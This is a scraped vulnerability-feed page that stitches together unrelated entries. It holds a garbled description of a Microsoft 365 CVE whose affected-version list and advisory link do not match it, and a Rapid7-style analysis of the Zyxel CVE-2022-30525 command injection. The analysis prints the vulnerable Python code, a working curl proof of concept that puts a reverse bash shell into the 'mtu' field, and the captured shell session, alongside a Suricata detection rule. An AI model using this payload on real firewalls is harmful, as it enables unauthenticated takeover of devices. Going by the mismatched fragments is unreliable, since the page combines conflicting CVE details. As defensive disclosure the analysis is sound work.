Activity Feed
Technical Analysis
CVE-2022-29110
Description:
The Microsoft 365 version 2204-Build-15128.20178 is vulnerable to RCE.
The malicious attacker can share a malicious .docm file in some of the internal or external networks by using an FTP malicious server and he can infect all computers in this network. The infected user can visit a very dangerous website and when he clicks it he can execute a bunch of javascript malicious codes or can execute a dangerous local code! Also, the malicious author can use a USB flash memory to infect every computer by using Microsoft 365 software.
Known Affected Software
Vendor Product Version Microsoft Microsoft_Excel 2016 (32-bit edition) Microsoft Microsoft_Excel 2016 (64-bit edition) Microsoft Microsoft_Excel 2013 RT Service Pack 1 Microsoft Microsoft_Excel 2013 Service Pack 1 (32-bit editions) Microsoft Microsoft_Excel 2013 Service Pack 1 (64-bit editions) Microsoft Microsoft_Office_Web_Apps Server 2013 Service Pack 1
Reproduce:
Proof and Exploit

- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
Technical Analysis
This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.
Technical Analysis
On Apri 28, 2022, Zyxel published firmware that fixed CVE-2022-30525. The vulnerability, discovered by Rapid7, was an unauthenticated and remote command injection vulnerability affecting some Zyxel firewalls’ administrative web interface. An attacker that exploits this vulnerability achieves remote command execution as nobody
. The vulnerability scores CVSSv3 9.8.
The following table contains the affected models and firmware versions.
Affected Model | Affected Firmware Version |
---|---|
USG FLEX 100, 100W, 200, 500, 700 | ZLD5.00 thru ZLD5.21 Patch 1 |
USG20-VPN, USG20W-VPN | ZLD5.10 thru ZLD5.21 Patch 1 |
ATP 100, 200, 500, 700, 800 | ZLD5.10 thru ZLD5.21 Patch 1 |
On May 12, 2022, Rapid7 published an advisory and Metasploit module for this vulnerability. Observations from Shodan indicate that a noticeable amount of users have already upgraded their firewalls. However, we still anticipate some amount of exploitation in the wild.
Analysis
The vulnerability stems from the use of os.system
with attacker-provided data. The attack is initiated through the /ztp/cgi-bin/handler
endpoint. handler
is a Python script that handles a wide variety of commands. Our test Zyxel USG FLEX 100 using firmware version 5.21 uses a handler.py
with the following supported commands (as written in handler.py
):
supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "pcap", "traceroute", \ "atraceroute", "iptables", "getorchstat", \ "getInterfaceName_out", "getInterfaceInfo", \ #"getSingleInterfaceInfo", "getAllInterfaceInfo", \ #"getInterfaceNameAll", "getInterfaceNameMapping", \ "nslookup", "iproget", \ "diagnosticinfo", "networkUnitedTest", \ #"setRemoteAssistActive", "getRemoteAssist", \ "setRemoteZyxelSupport", "getRemoteZyxelSupport", \ "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \ "getUSBSt","setUSBmount","setUSBactive", \ "getDiagnosticInfoUsb", \ "getDeviceCloudInfo", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \ "getlanguagest","setlanguage" ]
These commands offer, by design, a variety of interesting options for an unauthenticated user. The command that is vulnerable to CVE-2022-30525 is getWanPortSt
.
elif req["command"] == "getWanPortSt": reply = lib_wan_setting.getWanPortSt()
Above, we can see that getWanPortSt
calls into lib_wan_setting.getWanPortSt
. This is implemented in lib_wan_setting.py
.
''' *************************************************************************** * setwanport function * @param port: port for setting * @param vlanid: vlan id , 0 for default disalbing vlan * @param proto: type of wan (dhcp, static, pppoe) * @param data: detail setting for different port type * * @return reply{ * "code": <exception error code>, * "message": <exception>, * "result": {'ZTPurl':"xx"} * } *************************************************************************** ''' def setWanPortSt(req): reply = {} vlan_tagged = '' logging.info(req) port = req["port"].strip() vlanid = req["vlanid"] proto = req["proto"] data = req["data"] vlan_tagged = req["vlan_tagged"] …
The getWanPortSt
command requires four parameters: vlanid
, proto
, data
, and vlan_tagged
. Additionally, it accepts an mtu
parameter. Both data
and mtu
can be exploited for command injection. data
actually holds an additional JSON blob, so it’s easier to just exploit mtu
.
Eventually, after some amount of validation, all of the provided parameters are combined into a single command and executed.
cmdLine += extname + ' ' + port.lower() + ' ' + data['username'] + ' ' + data['password'] \ + ' ' + data['auth_type'] \ + ' ' + data['ipaddr'] + ' ' + data['gateway'] \ + ' ' + data['firstDnsServer'] + ' ' + req['mtu'] if vlan_tagged == '1': cmdLine += ' ' + vlanid cmdLine += ' >/dev/null 2>&1' logging.info("cmdLine = %s" % cmdLine) with open("/tmp/local_gui_write_flag", "w") as fout: fout.write("1"); response = os.system(cmdLine) logging.info(response)
A proof-of-concept reverse bash shell using curl
looks as follows. Note that the command is inserted into the mtu
field.
curl -v --insecure -X POST -H "Content-Type: application/json" -d '{"command":"setWanPortSt","proto":"dhcp","port":"1270","vlan_tagged":"1","vlanid":"5","mtu":"; bash -c \"exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;\";","data":"hi"}' https://10.0.0.14/ztp/cgi-bin/handler
On the attacker machine, this can be caught using nc
:
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 10.0.0.14 41498 bash: cannot set terminal process group (10800): Inappropriate ioctl for device bash: no job control in this shell bash-5.1$ id id uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr) bash-5.1$ ps faux ps faux
And from the shell we can observe how the attack looks from the perspective of ps faux
:
nobody 13184 0.0 0.2 20952 5072 ? S May09 0:00 \_ /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL nobody 640 9.3 0.6 18104 11224 ? S 08:58 0:02 | \_ /usr/bin/python /usr/local/zyxel-gui/htdocs/ztp/cgi-bin/handler.py nobody 641 0.0 0.0 3568 1508 ? S 08:58 0:00 | \_ sh -c /usr/sbin/sdwan_iface_ipc 11 WAN1269 1270 ; bash -c "exec bash -i &>/dev/tcp/10.0.0.2/1270 <&1;"; 5 >/dev/null 2>&1 nobody 643 0.0 0.0 3716 1760 ? S 08:58 0:00 | \_ bash -i
Indicators of Compromise
Unfortunately, the firewalls’ logging does not provide any useful insight into exploitation. The affected firewalls do support a diagnostic feature, but it isn’t something that would be wise to run in production. If possible, we suggest monitoring the systems ingress and egress for abnormal behavior. The following Suricata rule should help identify exploitation when the mtu
field is used for exploitation:
alert http any any -> any any ( \ msg:"Possible Zyxel ZTP setWanPortSt mtu Exploit Attempt"; \ flow:to_server; \ http.method; content:"POST"; \ http.uri; content:"/ztp/cgi-bin/handler"; \ http.request_body; content:"setWanPortSt"; \ http.request_body; content:"mtu"; \ http.request_body; pcre:"/mtu["']\s*:\s*["']\s*[^0-9]+/i"; classtype:misc-attack; \ sid:221270;)
Recommendations
Update affected firewalls as soon as possible. The affected firewalls all support automatic updates, but that feature needs to be enabled. We recommend enabling automatic updates immediately. Finally, in an ideal world, the management web interface wouldn’t be exposed to the internet. If possible, disable WAN access. If that isn’t possible, try to enforce a strict IP allow list.
- Vendor Advisory (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26925)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)